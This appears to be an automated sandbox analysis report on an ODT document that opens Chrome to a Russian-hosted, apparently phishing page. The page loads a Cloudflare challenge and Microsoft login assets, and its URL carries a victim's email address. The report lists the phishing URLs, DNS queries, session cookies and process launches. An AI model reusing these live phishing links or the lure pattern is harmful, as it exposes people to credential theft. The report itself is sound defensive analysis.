Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oe3.welialicha.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/849bfe45bf45/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oe3.welialicha.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/849bfe45bf45/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/nrnel/0x4AAAAAAA3SAmBnOucP6bMN/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://oe3.welialicha.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8fe493bb0e5e18d0&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/nrnel/0x4AAAAAAA3SAmBnOucP6bMN/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/nrnel/0x4AAAAAAA3SAmBnOucP6bMN/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8fe493bb0e5e18d0&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: oe3.welialicha.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oe3.welialicha.ru/xffUffYo/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlVJdnI4Z3NPRi9QRm5UM2hKcDdzSFE9PSIsInZhbHVlIjoiZXhydWMxbEhKK3lGYUVsK1c4K0xRa1ZVZ2g5eTZxVURLVjMrRzVxQ080cjkxMU5sS1daSE9SbDJxczhoV3FFUk9wdHFXRWZDd1VzNDIxbUhiZ2VRRzNwMTk2UDZOY2xtODEzN3lreFBIV3FmTHN0b3BOSmcwNVQwdTgrUGhEengiLCJtYWMiOiIzMTljOWI0OWMyNjU4YjIxZGFlZWE3NmUyOTcyYmNiODc1YTUzMjYzNmMzYzY1YmE3Mjk4OTQ3MDJhNjc1MjcwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijg5bWtwVURqeVRjYkMzSWhCYnJ6K3c9PSIsInZhbHVlIjoicndRcG4wdzJBY251UXhmSUlYZUFZNzY5MGtaVHZ6dzJyZ005eW0ydjJabjFPRVpycllzcDZ4QUxjbnVFRTJ5TGRpWm54WFU2VmVQblRYVHlFaDNCMDFiRDlGNkVmQjBLaVBDZ2VTL3FvdW1TeWR4WG5OS0VTL2RyblV4S1VLMloiLCJtYWMiOiJkYjk1MjNmYzRhODkyZGVmMzEyNWI5ZWVlODE3ODEyMzQyYmM2NjgwNGZlZjljZjBkNmZlYWJiYzA2MmZiZDBkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1244244765:1736256396:4eQx91ZCZiIBwjt3oqc8_CcgZavgzQBPmS8A9uDbAjg/8fe493bb0e5e18d0/swLD91lO_NF.I1vvUgxO.vhR6JEIwznNt2p0TfwB1YA-1736259506-1.1.1.1-z7LmhnT3AGM9H1gTgZrE4gK65BtHK5Avr10DWjVXaIALFxbVwaAKWVk03J5Ducz2 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8fe493bb0e5e18d0/1736259508183/SdYw6k5f8d6TCYd HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/nrnel/0x4AAAAAAA3SAmBnOucP6bMN/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8fe493bb0e5e18d0/1736259508183/SdYw6k5f8d6TCYd HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8fe493bb0e5e18d0/1736259508185/05de02faa82077d6543a655cf4f5e19ddd06fcf3d6e3e29bceb7ce01fc9098eb/DRsF-H2qQAaMher HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/nrnel/0x4AAAAAAA3SAmBnOucP6bMN/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1244244765:1736256396:4eQx91ZCZiIBwjt3oqc8_CcgZavgzQBPmS8A9uDbAjg/8fe493bb0e5e18d0/swLD91lO_NF.I1vvUgxO.vhR6JEIwznNt2p0TfwB1YA-1736259506-1.1.1.1-z7LmhnT3AGM9H1gTgZrE4gK65BtHK5Avr10DWjVXaIALFxbVwaAKWVk03J5Ducz2 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1244244765:1736256396:4eQx91ZCZiIBwjt3oqc8_CcgZavgzQBPmS8A9uDbAjg/8fe493bb0e5e18d0/swLD91lO_NF.I1vvUgxO.vhR6JEIwznNt2p0TfwB1YA-1736259506-1.1.1.1-z7LmhnT3AGM9H1gTgZrE4gK65BtHK5Avr10DWjVXaIALFxbVwaAKWVk03J5Ducz2 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /388206862612550gOYFLOtEMDNSGFJQAGQARAVMTFSTTVFZLMNFZGTR HTTP/1.1Host: ftrh6jebrvxyaib9ulgvluf6vxzmogfixbkxbwasvzo9kpnhypamr.deryposi.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://oe3.welialicha.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://oe3.welialicha.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /388206862612550gOYFLOtEMDNSGFJQAGQARAVMTFSTTVFZLMNFZGTR HTTP/1.1Host: ftrh6jebrvxyaib9ulgvluf6vxzmogfixbkxbwasvzo9kpnhypamr.deryposi.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_27cef08ca792f8e8b149.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_27cef08ca792f8e8b149.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: oe3.welialicha.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: ftrh6jebrvxyaib9ulgvluf6vxzmogfixbkxbwasvzo9kpnhypamr.deryposi.ru
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: www.office.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: identity.nel.measure.office.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1244244765:1736256396:4eQx91ZCZiIBwjt3oqc8_CcgZavgzQBPmS8A9uDbAjg/8fe493bb0e5e18d0/swLD91lO_NF.I1vvUgxO.vhR6JEIwznNt2p0TfwB1YA-1736259506-1.1.1.1-z7LmhnT3AGM9H1gTgZrE4gK65BtHK5Avr10DWjVXaIALFxbVwaAKWVk03J5Ducz2 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3163sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: swLD91lO_NF.I1vvUgxO.vhR6JEIwznNt2p0TfwB1YA-1736259506-1.1.1.1-z7LmhnT3AGM9H1gTgZrE4gK65BtHK5Avr10DWjVXaIALFxbVwaAKWVk03J5Ducz2sec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/nrnel/0x4AAAAAAA3SAmBnOucP6bMN/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 07 Jan 2025 14:18:28 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CppP7JXDMgktfYRDU8S40I4yGObnrUo3TOpL1bOWiZocjC8xSdYlnQa9gH4zXpOciu0v7EZYqqREhCdJdltuxogCgdR7vVHverEFra8WB%2F%2B5qGfQEsDcvKNLmPDueg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=4890&min_rtt=4875&rtt_var=1400&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2236&delivery_rate=573038&cwnd=214&unsent_bytes=0&cid=845885d95d5741f6&ts=184&x=0"CF-Cache-Status: EXPIREDServer: cloudflareCF-RAY: 8fe493c89e428ca5-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=2061&min_rtt=2059&rtt_var=776&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1900&delivery_rate=1406551&cwnd=237&unsent_bytes=0&cid=18b265bf0ac436c7&ts=535&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 07 Jan 2025 14:18:29 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: So4tBR6wK0RV/H4CdEQ6TBWuCmGLS7AMe9Q=$jf2RNF76WF94pQqGServer: cloudflareCF-RAY: 8fe493cbfaaf43e7-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 07 Jan 2025 14:18:32 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: 8CObl606aV4WgdFQV3L1/WjX+CJRVGGt0D0=$G7S41hkZA2NSUaQjServer: cloudflareCF-RAY: 8fe493df4f3a18ee-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 07 Jan 2025 14:18:35 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: A4hYeH52YrEykXgx1YRNbpSQ0YF9GDCCOY8=$1EkJGePpWhNJEWDVServer: cloudflareCF-RAY: 8fe493f3fdce8c69-EWRalt-svc: h3=":443"; ma=86400

Source: manifest.rdf	String found in binary or memory: http://docs.oasis-open.org/ns/office/1.2/meta/odf#ContentFile
Source: manifest.rdf	String found in binary or memory: http://docs.oasis-open.org/ns/office/1.2/meta/odf#StylesFile
Source: manifest.rdf	String found in binary or memory: http://docs.oasis-open.org/ns/office/1.2/meta/pkg#
Source: manifest.rdf	String found in binary or memory: http://docs.oasis-open.org/ns/office/1.2/meta/pkg#Document
Source: chromecache_125.12.dr, chromecache_122.12.dr	String found in binary or memory: http://feross.org
Source: meta.xml	String found in binary or memory: http://openoffice.org/2004/office
Source: content.xml	String found in binary or memory: https://OE3.welialicha.ru/xffUffYo/#Ktom.walker
Source: chromecache_125.12.dr, chromecache_122.12.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js
Source: chromecache_104.12.dr, chromecache_112.12.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_104.12.dr, chromecache_112.12.dr	String found in binary or memory: https://login.windows-ppe.net

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: classification engine

Classification label: mal56.winODT@20/77@36/11

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\Desktop\~$rbornemx_PAYOUT7370.odt

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\{43C71372-AA55-4276-96C4-39D5C2BF6567} - OProcSessId.dat

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\Desktop\Airbornemx_PAYOUT7370.odt"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://oe3.welialicha.ru/xffUffYo/#Ktom.walker@airbornemx.com
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2216 --field-trial-handle=1944,i,4028111048083662025,7617225980983569165,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://oe3.welialicha.ru/xffUffYo/#Ktom.walker@airbornemx.com	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
